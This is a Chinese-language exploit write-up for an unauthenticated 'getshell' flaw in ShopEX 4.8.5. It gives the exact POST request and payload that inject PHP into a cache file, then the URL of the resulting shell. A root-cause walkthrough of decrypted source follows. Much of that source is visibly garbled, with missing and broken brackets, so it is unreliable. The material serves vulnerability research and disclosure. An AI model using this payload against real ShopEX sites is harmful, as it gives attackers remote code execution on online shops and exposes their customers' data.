ShopEX 4.8.5.81822 前台Getshell
利用方式:
Post提交
Post Data
conf_key=<!--?php phpinfo();?-->.yyyyy&conf_val=test
至
http://127.0.0.1/shopex-single-4.8.5.81822/api.php?act=set_shopex_conf&api_version=5.0
Shell地址:
http://127.0.0.1/shopex-single-4.8.5.81822/home/cache/cachedata.stat.php
提交后:
漏洞成因(解密后的代码错乱,只看关键的,无关代码已经略去)
http://127.0.0.1/shopex-single-4.8.5.81822/api.php?act=set_shopex_conf&api_version=5.0 api.php中10-11行 require(CORE_DIR.'/api/shop_api.php'); $system = new shop_api(); core/api/shop_api.php中 <?php require_once( CORE_DIR."/kernel.php" ); require_once( CORE_DIR."/func_ext.php" ); class shop_api extends kernel { /**省略**/ public function shop_api( ) { $apiAct = $_REQUEST['act']; $APIs = include( CORE_DIR."/api/include/api_link.php" ); $apiVersion = $_REQUEST['api_version' ) && $APIs[$apiAct][$apiVersion]; $api = $APIs[$apiAct][$apiVersion]; if(!$APIs[$apiAct][$apiversion]['n_varify' && !$this->verfy($_POST)){ $this->error_handle('veriy fail');//n_varify=1,不需要经过verfy()函数处理 } include( CORE_DIR."/api/shop_api_object.php" ); include( CORE_DIR."/".dirname( $ctl )."/".$apiVersion."/".basename( $ctl ).".php" ); $ctl = basename( $ctl ); $act = $api['act']; if ( !class_exists( $ctl ) || !( $ctlObj = new $ctl( ) ) || !method_exists( $ctlObj, $act ) ) { $this->error_handle( "service error", "can not service" ); } /***下面应该是调用set_shopex_conf函数***/ $ctlObj->$act($_POST); /**省略**/ } /**省略**/ ?> 访问[url]http://127.0.0.1/shopex-single-4.8.5.81822/api.php?act=set_shopex_conf&api_version=5.0[/url]即调用coreapisite5.0api_5_0_site.php中的set_shopex_conf函数 conf_key=<?php phpinfo();?>.yyyyy&conf_val=test 访问[url]http://127.0.0.1/shopex-single-4.8.5.81822/api.php?act=set_shopex_conf&api_version=5.0[/url]即调用coreapisite5.0api_5_0_site.php中的set_shopex_conf函数 core/api/include/api_link.php中 $APIs['set_shopex_conf']=Array ( [5.0 => Array ( [ctl => api/site/api_5_0_site [act => set_shopex_conf [n_varify => 1 ) ); n_varify=1,不需要经过verfy()函数处理 coreapisite5.0api_5_0_site.php中的set_shopex_conf函数 public function set_shopex_conf( $data ) { error_log( var_export( $data, 1 ), 3, __FILE__.( ".log" ) );//写入了coreapisite5.0api_5_0_site.php.log $this->system->setConf( $data['conf_key'], $data['conf_val' );//即setConf('<?php phpinfo();?>.yyyyy','test'); $this->api_response( "true", false, "succ" ); } corekernel.php中 public function setConf( $key, $data, $immediately = false ) { return $this->__setting->set( $key, $data, $immediately ); /***省略***/ } coreinclude_v5setmgr.php中 public function set( $key, $value, $immediately = false )//即set('<?php phpinfo();?>.yyyyy','test'); { if ( !( $pos = strpos( $key, "." ) ) ) { return; } $sub = substr( $key, $pos + 1 ); if ( "*" == $sub ) { $this->_pool[substr( $key, 0, $pos = $value; } else { $this->_pool[substr( $key, 0, $pos )][$sub = $value;//$this->_pool['<?php phpinfo();?>']['yyyyy']='test'; } if ( $immediately ) { return $this->_save( ); } register_shutdown_function( array( $this, "_save" ) );//脚本执行完成时将调用_save函数[url]http://www.php.net/manual/zh/fun[/url] ... utdown-function.php return true; } coreinclude_v5setmgr.php中 public function _save( ) { $db =& $this->system->database( ); $vary = array( ); foreach ( $this->_pool as $domain => $values ) { $this->_bool_data_varify( $domain.".".key( $values ), $values ); $rs = $db->quote( $domain )( "select * from sdb_settings where s_name=".$db->quote( $domain ) ); $row = $db->getRows( $rs ); $data = unserialize( $row[0]['s_data' ); $values = $data ? array_merge( $data, $values ) : $values; $send = array( "s_name" => $domain, "s_data" => $values, "s_time" => time( ) ); $sql = $db->getUpdateSql( $rs, $send, true ); if ( $sql ) { $db->exec( $sql ); } $vary["SETTING_".$domain = 1; } $this->system->cache->setModified( array_keys( $vary ) );//调用此函数将$this->_pool数组的键名写入到home/cache/cachedata.stat.php中 return true; } pluginsfunctionscache_secache.php中 function cache_secache(){ $this->workat(HOME_DIR.'/cache/cachedata'); $statfile = HOME_DIR.'/cache/cachedata.stat.php'; if(file_exists($statfile)){ $this->_stat_rs = fopen($statfile,'rb+'); $contents = ''; while (!feof($this->_stat_rs)) { $contents .= fread($this->_stat_rs, 4096); } $this->_vary_list = unserialize($contents); }else{ $this->_stat_rs = fopen($statfile,'wb+'); $this->_vary_list = array(); } } function setModified($key){ $now = time(); if(is_array($key)){ foreach($key as $k){ $this->_vary_list[strtoupper($k = $now; } }else{ $this->_vary_list[strtoupper($key = $now; } fseek($this->_stat_rs,0); ftruncate($this->_stat_rs,0); return fputs($this->_stat_rs,serialize($this->_vary_list));//最终写入到 home/cache/cachedata.stat.php }
home/cache/cachedata.stat.php开头没有一共写到两个文件
/core/api/site/5.0/api_5_0_site.php.log 此处apache配置不当的话也可能会当作php解析
/home/cache/cachedata.stat.php